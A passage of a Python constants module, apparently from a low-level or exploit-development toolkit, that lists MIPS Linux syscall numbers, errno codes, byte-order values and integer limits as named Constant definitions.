= Constant('__NR_ftruncate',(4000 + 93)) __NR_fchmod = Constant('__NR_fchmod',(4000 + 94)) __NR_fchown = Constant('__NR_fchown',(4000 + 95)) __NR_getpriority = Constant('__NR_getpriority',(4000 + 96)) __NR_setpriority = Constant('__NR_setpriority',(4000 + 97)) __NR_profil = Constant('__NR_profil',(4000 + 98)) __NR_statfs = Constant('__NR_statfs',(4000 + 99)) __NR_fstatfs = Constant('__NR_fstatfs',(4000 + 100)) __NR_ioperm = Constant('__NR_ioperm',(4000 + 101)) __NR_socketcall = Constant('__NR_socketcall',(4000 + 102)) __NR_syslog = Constant('__NR_syslog',(4000 + 103)) __NR_setitimer = Constant('__NR_setitimer',(4000 + 104)) __NR_getitimer = Constant('__NR_getitimer',(4000 + 105)) __NR_stat = Constant('__NR_stat',(4000 + 106)) __NR_lstat = Constant('__NR_lstat',(4000 + 107)) __NR_fstat = Constant('__NR_fstat',(4000 + 108)) __NR_unused109 = Constant('__NR_unused109',(4000 + 109)) __NR_iopl = Constant('__NR_iopl',(4000 + 110)) __NR_vhangup = Constant('__NR_vhangup',(4000 + 111)) __NR_idle = Constant('__NR_idle',(4000 + 112)) __NR_vm86 = Constant('__NR_vm86',(4000 + 113)) __NR_wait4 = Constant('__NR_wait4',(4000 + 114)) __NR_swapoff = Constant('__NR_swapoff',(4000 + 115)) __NR_sysinfo = Constant('__NR_sysinfo',(4000 + 116)) __NR_ipc = Constant('__NR_ipc',(4000 + 117)) __NR_fsync = Constant('__NR_fsync',(4000 + 118)) __NR_sigreturn = Constant('__NR_sigreturn',(4000 + 119)) __NR_clone = Constant('__NR_clone',(4000 + 120)) __NR_setdomainname = Constant('__NR_setdomainname',(4000 + 121)) __NR_uname = Constant('__NR_uname',(4000 + 122)) __NR_modify_ldt = Constant('__NR_modify_ldt',(4000 + 123)) __NR_adjtimex = Constant('__NR_adjtimex',(4000 + 124)) __NR_mprotect = Constant('__NR_mprotect',(4000 + 125)) __NR_sigprocmask = Constant('__NR_sigprocmask',(4000 + 126)) __NR_create_module = Constant('__NR_create_module',(4000 + 127)) __NR_init_module = Constant('__NR_init_module',(4000 + 128)) __NR_delete_module = Constant('__NR_delete_module',(4000 + 129)) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',(4000 + 130)) __NR_quotactl = Constant('__NR_quotactl',(4000 + 131)) __NR_getpgid = Constant('__NR_getpgid',(4000 + 132)) __NR_fchdir = Constant('__NR_fchdir',(4000 + 133)) __NR_bdflush = Constant('__NR_bdflush',(4000 + 134)) __NR_sysfs = Constant('__NR_sysfs',(4000 + 135)) __NR_personality = Constant('__NR_personality',(4000 + 136)) __NR_afs_syscall = Constant('__NR_afs_syscall',(4000 + 137)) __NR_setfsuid = Constant('__NR_setfsuid',(4000 + 138)) __NR_setfsgid = Constant('__NR_setfsgid',(4000 + 139)) __NR__llseek = Constant('__NR__llseek',(4000 + 140)) __NR_getdents = Constant('__NR_getdents',(4000 + 141)) __NR__newselect = Constant('__NR__newselect',(4000 + 142)) __NR_flock = Constant('__NR_flock',(4000 + 143)) __NR_msync = Constant('__NR_msync',(4000 + 144)) __NR_readv = Constant('__NR_readv',(4000 + 145)) __NR_writev = Constant('__NR_writev',(4000 + 146)) __NR_cacheflush = Constant('__NR_cacheflush',(4000 + 147)) __NR_cachectl = Constant('__NR_cachectl',(4000 + 148)) __NR_sysmips = Constant('__NR_sysmips',(4000 + 149)) __NR_unused150 = Constant('__NR_unused150',(4000 + 150)) __NR_getsid = Constant('__NR_getsid',(4000 + 151)) __NR_fdatasync = Constant('__NR_fdatasync',(4000 + 152)) __NR__sysctl = Constant('__NR__sysctl',(4000 + 153)) __NR_mlock = Constant('__NR_mlock',(4000 + 154)) __NR_munlock = Constant('__NR_munlock',(4000 + 155)) __NR_mlockall = Constant('__NR_mlockall',(4000 + 156)) __NR_munlockall = Constant('__NR_munlockall',(4000 + 157)) __NR_sched_setparam = Constant('__NR_sched_setparam',(4000 + 158)) __NR_sched_getparam = Constant('__NR_sched_getparam',(4000 + 159)) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(4000 + 160)) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(4000 + 161)) __NR_sched_yield = Constant('__NR_sched_yield',(4000 + 162)) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(4000 + 163)) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(4000 + 164)) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(4000 + 165)) __NR_nanosleep = Constant('__NR_nanosleep',(4000 + 166)) __NR_mremap = Constant('__NR_mremap',(4000 + 167)) __NR_accept = Constant('__NR_accept',(4000 + 168)) __NR_bind = Constant('__NR_bind',(4000 + 169)) __NR_connect = Constant('__NR_connect',(4000 + 170)) __NR_getpeername = Constant('__NR_getpeername',(4000 + 171)) __NR_getsockname = Constant('__NR_getsockname',(4000 + 172)) __NR_getsockopt = Constant('__NR_getsockopt',(4000 + 173)) __NR_listen = Constant('__NR_listen',(4000 + 174)) __NR_recv = Constant('__NR_recv',(4000 + 175)) __NR_recvfrom = Constant('__NR_recvfrom',(4000 + 176)) __NR_recvmsg = Constant('__NR_recvmsg',(4000 + 177)) __NR_send = Constant('__NR_send',(4000 + 178)) __NR_sendmsg = Constant('__NR_sendmsg',(4000 + 179)) __NR_sendto = Constant('__NR_sendto',(4000 + 180)) __NR_setsockopt = Constant('__NR_setsockopt',(4000 + 181)) __NR_shutdown = Constant('__NR_shutdown',(4000 + 182)) __NR_socket = Constant('__NR_socket',(4000 + 183)) __NR_socketpair = Constant('__NR_socketpair',(4000 + 184)) __NR_setresuid = Constant('__NR_setresuid',(4000 + 185)) __NR_getresuid = Constant('__NR_getresuid',(4000 + 186)) __NR_query_module = Constant('__NR_query_module',(4000 + 187)) __NR_poll = Constant('__NR_poll',(4000 + 188)) __NR_nfsservctl = Constant('__NR_nfsservctl',(4000 + 189)) __NR_setresgid = Constant('__NR_setresgid',(4000 + 190)) __NR_getresgid = Constant('__NR_getresgid',(4000 + 191)) __NR_prctl = Constant('__NR_prctl',(4000 + 192)) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(4000 + 193)) __NR_rt_sigaction = Constant('__NR_rt_sigaction',(4000 + 194)) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(4000 + 195)) __NR_rt_sigpending = Constant('__NR_rt_sigpending',(4000 + 196)) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(4000 + 197)) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(4000 + 198)) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(4000 + 199)) __NR_pread64 = Constant('__NR_pread64',(4000 + 200)) __NR_pwrite64 = Constant('__NR_pwrite64',(4000 + 201)) __NR_chown = Constant('__NR_chown',(4000 + 202)) __NR_getcwd = Constant('__NR_getcwd',(4000 + 203)) __NR_capget = Constant('__NR_capget',(4000 + 204)) __NR_capset = Constant('__NR_capset',(4000 + 205)) __NR_sigaltstack = Constant('__NR_sigaltstack',(4000 + 206)) __NR_sendfile = Constant('__NR_sendfile',(4000 + 207)) __NR_getpmsg = Constant('__NR_getpmsg',(4000 + 208)) __NR_putpmsg = Constant('__NR_putpmsg',(4000 + 209)) __NR_mmap2 = Constant('__NR_mmap2',(4000 + 210)) __NR_truncate64 = Constant('__NR_truncate64',(4000 + 211)) __NR_ftruncate64 = Constant('__NR_ftruncate64',(4000 + 212)) __NR_stat64 = Constant('__NR_stat64',(4000 + 213)) __NR_lstat64 = Constant('__NR_lstat64',(4000 + 214)) __NR_fstat64 = Constant('__NR_fstat64',(4000 + 215)) __NR_pivot_root = Constant('__NR_pivot_root',(4000 + 216)) __NR_mincore = Constant('__NR_mincore',(4000 + 217)) __NR_madvise = Constant('__NR_madvise',(4000 + 218)) __NR_getdents64 = Constant('__NR_getdents64',(4000 + 219)) __NR_fcntl64 = Constant('__NR_fcntl64',(4000 + 220)) __NR_reserved221 = Constant('__NR_reserved221',(4000 + 221)) __NR_gettid = Constant('__NR_gettid',(4000 + 222)) __NR_readahead = Constant('__NR_readahead',(4000 + 223)) __NR_setxattr = Constant('__NR_setxattr',(4000 + 224)) __NR_lsetxattr = Constant('__NR_lsetxattr',(4000 + 225)) __NR_fsetxattr = Constant('__NR_fsetxattr',(4000 + 226)) __NR_getxattr = Constant('__NR_getxattr',(4000 + 227)) __NR_lgetxattr = Constant('__NR_lgetxattr',(4000 + 228)) __NR_fgetxattr = Constant('__NR_fgetxattr',(4000 + 229)) __NR_listxattr = Constant('__NR_listxattr',(4000 + 230)) __NR_llistxattr = Constant('__NR_llistxattr',(4000 + 231)) __NR_flistxattr = Constant('__NR_flistxattr',(4000 + 232)) __NR_removexattr = Constant('__NR_removexattr',(4000 + 233)) __NR_lremovexattr = Constant('__NR_lremovexattr',(4000 + 234)) __NR_fremovexattr = Constant('__NR_fremovexattr',(4000 + 235)) __NR_tkill = Constant('__NR_tkill',(4000 + 236)) __NR_sendfile64 = Constant('__NR_sendfile64',(4000 + 237)) __NR_futex = Constant('__NR_futex',(4000 + 238)) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(4000 + 239)) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(4000 + 240)) __NR_io_setup = Constant('__NR_io_setup',(4000 + 241)) __NR_io_destroy = Constant('__NR_io_destroy',(4000 + 242)) __NR_io_getevents = Constant('__NR_io_getevents',(4000 + 243)) __NR_io_submit = Constant('__NR_io_submit',(4000 + 244)) __NR_io_cancel = Constant('__NR_io_cancel',(4000 + 245)) __NR_exit_group = Constant('__NR_exit_group',(4000 + 246)) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(4000 + 247)) __NR_epoll_create = Constant('__NR_epoll_create',(4000 + 248)) __NR_epoll_ctl = Constant('__NR_epoll_ctl',(4000 + 249)) __NR_epoll_wait = Constant('__NR_epoll_wait',(4000 + 250)) __NR_remap_file_pages = Constant('__NR_remap_file_pages',(4000 + 251)) __NR_set_tid_address = Constant('__NR_set_tid_address',(4000 + 252)) __NR_restart_syscall = Constant('__NR_restart_syscall',(4000 + 253)) __NR_fadvise64 = Constant('__NR_fadvise64',(4000 + 254)) __NR_statfs64 = Constant('__NR_statfs64',(4000 + 255)) __NR_fstatfs64 = Constant('__NR_fstatfs64',(4000 + 256)) __NR_timer_create = Constant('__NR_timer_create',(4000 + 257)) __NR_timer_settime = Constant('__NR_timer_settime',(4000 + 258)) __NR_timer_gettime = Constant('__NR_timer_gettime',(4000 + 259)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(4000 + 260)) __NR_timer_delete = Constant('__NR_timer_delete',(4000 + 261)) __NR_clock_settime = Constant('__NR_clock_settime',(4000 + 262)) __NR_clock_gettime = Constant('__NR_clock_gettime',(4000 + 263)) __NR_clock_getres = Constant('__NR_clock_getres',(4000 + 264)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(4000 + 265)) __NR_tgkill = Constant('__NR_tgkill',(4000 + 266)) __NR_utimes = Constant('__NR_utimes',(4000 + 267)) __NR_mbind = Constant('__NR_mbind',(4000 + 268)) __NR_get_mempolicy = Constant('__NR_get_mempolicy',(4000 + 269)) __NR_set_mempolicy = Constant('__NR_set_mempolicy',(4000 + 270)) __NR_mq_open = Constant('__NR_mq_open',(4000 + 271)) __NR_mq_unlink = Constant('__NR_mq_unlink',(4000 + 272)) __NR_mq_timedsend = Constant('__NR_mq_timedsend',(4000 + 273)) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(4000 + 274)) __NR_mq_notify = Constant('__NR_mq_notify',(4000 + 275)) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(4000 + 276)) __NR_vserver = Constant('__NR_vserver',(4000 + 277)) __NR_waitid = Constant('__NR_waitid',(4000 + 278)) __NR_add_key = Constant('__NR_add_key',(4000 + 280)) __NR_request_key = Constant('__NR_request_key',(4000 + 281)) __NR_keyctl = Constant('__NR_keyctl',(4000 + 282)) __NR_set_thread_area = Constant('__NR_set_thread_area',(4000 + 283)) __NR_inotify_init = Constant('__NR_inotify_init',(4000 + 284)) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(4000 + 285)) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(4000 + 286)) __NR_migrate_pages = Constant('__NR_migrate_pages',(4000 + 287)) __NR_openat = Constant('__NR_openat',(4000 + 288)) __NR_mkdirat = Constant('__NR_mkdirat',(4000 + 289)) __NR_mknodat = Constant('__NR_mknodat',(4000 + 290)) __NR_fchownat = Constant('__NR_fchownat',(4000 + 291)) __NR_futimesat = Constant('__NR_futimesat',(4000 + 292)) __NR_fstatat64 = Constant('__NR_fstatat64',(4000 + 293)) __NR_unlinkat = Constant('__NR_unlinkat',(4000 + 294)) __NR_renameat = Constant('__NR_renameat',(4000 + 295)) __NR_linkat = Constant('__NR_linkat',(4000 + 296)) __NR_symlinkat = Constant('__NR_symlinkat',(4000 + 297)) __NR_readlinkat = Constant('__NR_readlinkat',(4000 + 298)) __NR_fchmodat = Constant('__NR_fchmodat',(4000 + 299)) __NR_faccessat = Constant('__NR_faccessat',(4000 + 300)) __NR_pselect6 = Constant('__NR_pselect6',(4000 + 301)) __NR_ppoll = Constant('__NR_ppoll',(4000 + 302)) __NR_unshare = Constant('__NR_unshare',(4000 + 303)) __NR_splice = Constant('__NR_splice',(4000 + 304)) __NR_sync_file_range = Constant('__NR_sync_file_range',(4000 + 305)) __NR_tee = Constant('__NR_tee',(4000 + 306)) __NR_vmsplice = Constant('__NR_vmsplice',(4000 + 307)) __NR_move_pages = Constant('__NR_move_pages',(4000 + 308)) __NR_set_robust_list = Constant('__NR_set_robust_list',(4000 + 309)) __NR_get_robust_list = Constant('__NR_get_robust_list',(4000 + 310)) __NR_kexec_load = Constant('__NR_kexec_load',(4000 + 311)) __NR_getcpu = Constant('__NR_getcpu',(4000 + 312)) __NR_epoll_pwait = Constant('__NR_epoll_pwait',(4000 + 313)) __NR_ioprio_set = Constant('__NR_ioprio_set',(4000 + 314)) __NR_ioprio_get = Constant('__NR_ioprio_get',(4000 + 315)) __NR_utimensat = Constant('__NR_utimensat',(4000 + 316)) __NR_signalfd = Constant('__NR_signalfd',(4000 + 317)) __NR_timerfd = Constant('__NR_timerfd',(4000 + 318)) __NR_eventfd = Constant('__NR_eventfd',(4000 + 319)) __NR_fallocate = Constant('__NR_fallocate',(4000 + 320)) __NR_timerfd_create = Constant('__NR_timerfd_create',(4000 + 321)) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(4000 + 322)) __NR_timerfd_settime = Constant('__NR_timerfd_settime',(4000 + 323)) __NR_signalfd4 = Constant('__NR_signalfd4',(4000 + 324)) __NR_eventfd2 = Constant('__NR_eventfd2',(4000 + 325)) __NR_epoll_create1 = Constant('__NR_epoll_create1',(4000 + 326)) __NR_dup3 = Constant('__NR_dup3',(4000 + 327)) __NR_pipe2 = Constant('__NR_pipe2',(4000 + 328)) __NR_inotify_init1 = Constant('__NR_inotify_init1',(4000 + 329)) __NR_preadv = Constant('__NR_preadv',(4000 + 330)) __NR_pwritev = Constant('__NR_pwritev',(4000 + 331)) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(4000 + 332)) __NR_perf_event_open = Constant('__NR_perf_event_open',(4000 + 333)) __NR_accept4 = Constant('__NR_accept4',(4000 + 334)) __NR_recvmmsg = Constant('__NR_recvmmsg',(4000 + 335)) __NR_fanotify_init = Constant('__NR_fanotify_init',(4000 + 336)) __NR_fanotify_mark = Constant('__NR_fanotify_mark',(4000 + 337)) __NR_prlimit64 = Constant('__NR_prlimit64',(4000 + 338)) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(4000 + 339)) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(4000 + 340)) __NR_clock_adjtime = Constant('__NR_clock_adjtime',(4000 + 341)) __NR_syncfs = Constant('__NR_syncfs',(4000 + 342)) __NR_sendmmsg = Constant('__NR_sendmmsg',(4000 + 343)) __NR_setns = Constant('__NR_setns',(4000 + 344)) __NR_process_vm_readv = Constant('__NR_process_vm_readv',(4000 + 345)) __NR_process_vm_writev = Constant('__NR_process_vm_writev',(4000 + 346)) __NR_kcmp = Constant('__NR_kcmp',(4000 + 347)) __NR_finit_module = Constant('__NR_finit_module',(4000 + 348)) __NR_sched_setattr = Constant('__NR_sched_setattr',(4000 + 349)) __NR_sched_getattr = Constant('__NR_sched_getattr',(4000 + 350)) __NR_renameat2 = Constant('__NR_renameat2',(4000 + 351)) __NR_seccomp = Constant('__NR_seccomp',(4000 + 352)) __NR_getrandom = Constant('__NR_getrandom',(4000 + 353)) __NR_memfd_create = Constant('__NR_memfd_create',(4000 + 354)) __NR_bpf = Constant('__NR_bpf',(4000 + 355)) __NR_execveat = Constant('__NR_execveat',(4000 + 356)) __NR_userfaultfd = Constant('__NR_userfaultfd',(4000 + 357)) __NR_membarrier = Constant('__NR_membarrier',(4000 + 358)) __NR_mlock2 = Constant('__NR_mlock2',(4000 + 359)) __NR_copy_file_range = Constant('__NR_copy_file_range',(4000 + 360)) __NR_preadv2 = Constant('__NR_preadv2',(4000 + 361)) __NR_pwritev2 = Constant('__NR_pwritev2',(4000 + 362)) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(4000 + 363)) __NR_pkey_alloc = Constant('__NR_pkey_alloc',(4000 + 364)) __NR_pkey_free = Constant('__NR_pkey_free',(4000 + 365)) __NR_statx = Constant('__NR_statx',(4000 + 366)) __NR_rseq = Constant('__NR_rseq',(4000 + 367)) __NR_io_pgetevents = Constant('__NR_io_pgetevents',(4000 + 368)) __NR_semget = Constant('__NR_semget',(4000 + 393)) __NR_semctl = Constant('__NR_semctl',(4000 + 394)) __NR_shmget = Constant('__NR_shmget',(4000 + 395)) __NR_shmctl = Constant('__NR_shmctl',(4000 + 396)) __NR_shmat = Constant('__NR_shmat',(4000 + 397)) __NR_shmdt = Constant('__NR_shmdt',(4000 + 398)) __NR_msgget = Constant('__NR_msgget',(4000 + 399)) __NR_msgsnd = Constant('__NR_msgsnd',(4000 + 400)) __NR_msgrcv = Constant('__NR_msgrcv',(4000 + 401)) __NR_msgctl = Constant('__NR_msgctl',(4000 + 402)) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',(4000 + 403)) __NR_clock_settime64 = Constant('__NR_clock_settime64',(4000 + 404)) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',(4000 + 405)) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',(4000 + 406)) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',(4000 + 407)) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',(4000 + 408)) __NR_timer_settime64 = Constant('__NR_timer_settime64',(4000 + 409)) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',(4000 + 410)) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',(4000 + 411)) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',(4000 + 412)) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',(4000 + 413)) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',(4000 + 414)) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',(4000 + 416)) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',(4000 + 417)) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',(4000 + 418)) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',(4000 + 419)) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',(4000 + 420)) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',(4000 + 421)) __NR_futex_time64 = Constant('__NR_futex_time64',(4000 + 422)) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',(4000 + 423)) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(4000 + 424)) __NR_io_uring_setup = Constant('__NR_io_uring_setup',(4000 + 425)) __NR_io_uring_enter = Constant('__NR_io_uring_enter',(4000 + 426)) __NR_io_uring_register = Constant('__NR_io_uring_register',(4000 + 427)) __NR_open_tree = Constant('__NR_open_tree',(4000 + 428)) __NR_move_mount = Constant('__NR_move_mount',(4000 + 429)) __NR_fsopen = Constant('__NR_fsopen',(4000 + 430)) __NR_fsconfig = Constant('__NR_fsconfig',(4000 + 431)) __NR_fsmount = Constant('__NR_fsmount',(4000 + 432)) __NR_fspick = Constant('__NR_fspick',(4000 + 433)) __NR_pidfd_open = Constant('__NR_pidfd_open',(4000 + 434)) __NR_clone3 = Constant('__NR_clone3',(4000 + 435)) __NR_openat2 = Constant('__NR_openat2',(4000 + 437)) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(4000 + 438)) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) ENOMSG = Constant('ENOMSG',35) EIDRM = Constant('EIDRM',36) ECHRNG = Constant('ECHRNG',37) EL2NSYNC = Constant('EL2NSYNC',38) EL3HLT = Constant('EL3HLT',39) EL3RST = Constant('EL3RST',40) ELNRNG = Constant('ELNRNG',41) EUNATCH = Constant('EUNATCH',42) ENOCSI = Constant('ENOCSI',43) EL2HLT = Constant('EL2HLT',44) EDEADLK = Constant('EDEADLK',45) ENOLCK = Constant('ENOLCK',46) EBADE = Constant('EBADE',50) EBADR = Constant('EBADR',51) EXFULL = Constant('EXFULL',52) ENOANO = Constant('ENOANO',53) EBADRQC = Constant('EBADRQC',54) EBADSLT = Constant('EBADSLT',55) EDEADLOCK = Constant('EDEADLOCK',56) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EDOTDOT = Constant('EDOTDOT',73) EMULTIHOP = Constant('EMULTIHOP',74) EBADMSG = Constant('EBADMSG',77) ENAMETOOLONG = Constant('ENAMETOOLONG',78) EOVERFLOW = Constant('EOVERFLOW',79) ENOTUNIQ = Constant('ENOTUNIQ',80) EBADFD = Constant('EBADFD',81) EREMCHG = Constant('EREMCHG',82) ELIBACC = Constant('ELIBACC',83) ELIBBAD = Constant('ELIBBAD',84) ELIBSCN = Constant('ELIBSCN',85) ELIBMAX = Constant('ELIBMAX',86) ELIBEXEC = Constant('ELIBEXEC',87) EILSEQ = Constant('EILSEQ',88) ENOSYS = Constant('ENOSYS',89) ELOOP = Constant('ELOOP',90) ERESTART = Constant('ERESTART',91) ESTRPIPE = Constant('ESTRPIPE',92) ENOTEMPTY = Constant('ENOTEMPTY',93) EUSERS = Constant('EUSERS',94) ENOTSOCK = Constant('ENOTSOCK',95) EDESTADDRREQ = Constant('EDESTADDRREQ',96) EMSGSIZE = Constant('EMSGSIZE',97) EPROTOTYPE = Constant('EPROTOTYPE',98) ENOPROTOOPT = Constant('ENOPROTOOPT',99) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',120) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',121) EOPNOTSUPP = Constant('EOPNOTSUPP',122) ENOTSUP = Constant('ENOTSUP',122) EPFNOSUPPORT = Constant('EPFNOSUPPORT',123) EAFNOSUPPORT = Constant('EAFNOSUPPORT',124) EADDRINUSE = Constant('EADDRINUSE',125) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',126) ENETDOWN = Constant('ENETDOWN',127) ENETUNREACH = Constant('ENETUNREACH',128) ENETRESET = Constant('ENETRESET',129) ECONNABORTED = Constant('ECONNABORTED',130) ECONNRESET = Constant('ECONNRESET',131) ENOBUFS = Constant('ENOBUFS',132) EISCONN = Constant('EISCONN',133) ENOTCONN = Constant('ENOTCONN',134) EUCLEAN = Constant('EUCLEAN',135) ENOTNAM = Constant('ENOTNAM',137) ENAVAIL = Constant('ENAVAIL',138) EISNAM = Constant('EISNAM',139) EREMOTEIO = Constant('EREMOTEIO',140) EINIT = Constant('EINIT',141) EREMDEV = Constant('EREMDEV',142) ESHUTDOWN = Constant('ESHUTDOWN',143) ETOOMANYREFS = Constant('ETOOMANYREFS',144) ETIMEDOUT = Constant('ETIMEDOUT',145) ECONNREFUSED = Constant('ECONNREFUSED',146) EHOSTDOWN = Constant('EHOSTDOWN',147) EHOSTUNREACH = Constant('EHOSTUNREACH',148) EWOULDBLOCK = Constant('EWOULDBLOCK',11) EALREADY = Constant('EALREADY',149) EINPROGRESS = Constant('EINPROGRESS',150) ESTALE = Constant('ESTALE',151) ECANCELED = Constant('ECANCELED',158) ENOMEDIUM = Constant('ENOMEDIUM',159) EMEDIUMTYPE = Constant('EMEDIUMTYPE',160) ENOKEY = Constant('ENOKEY',161) EKEYEXPIRED = Constant('EKEYEXPIRED',162) EKEYREVOKED = Constant('EKEYREVOKED',163) EKEYREJECTED = Constant('EKEYREJECTED',164) EOWNERDEAD = Constant('EOWNERDEAD',165) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',166) ERFKILL = Constant('ERFKILL',167) EHWPOISON = Constant('EHWPOISON',168) EDQUOT = Constant('EDQUOT',1133) __SYS_NERR = Constant('__SYS_NERR',((168) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',64) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807))) INTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN 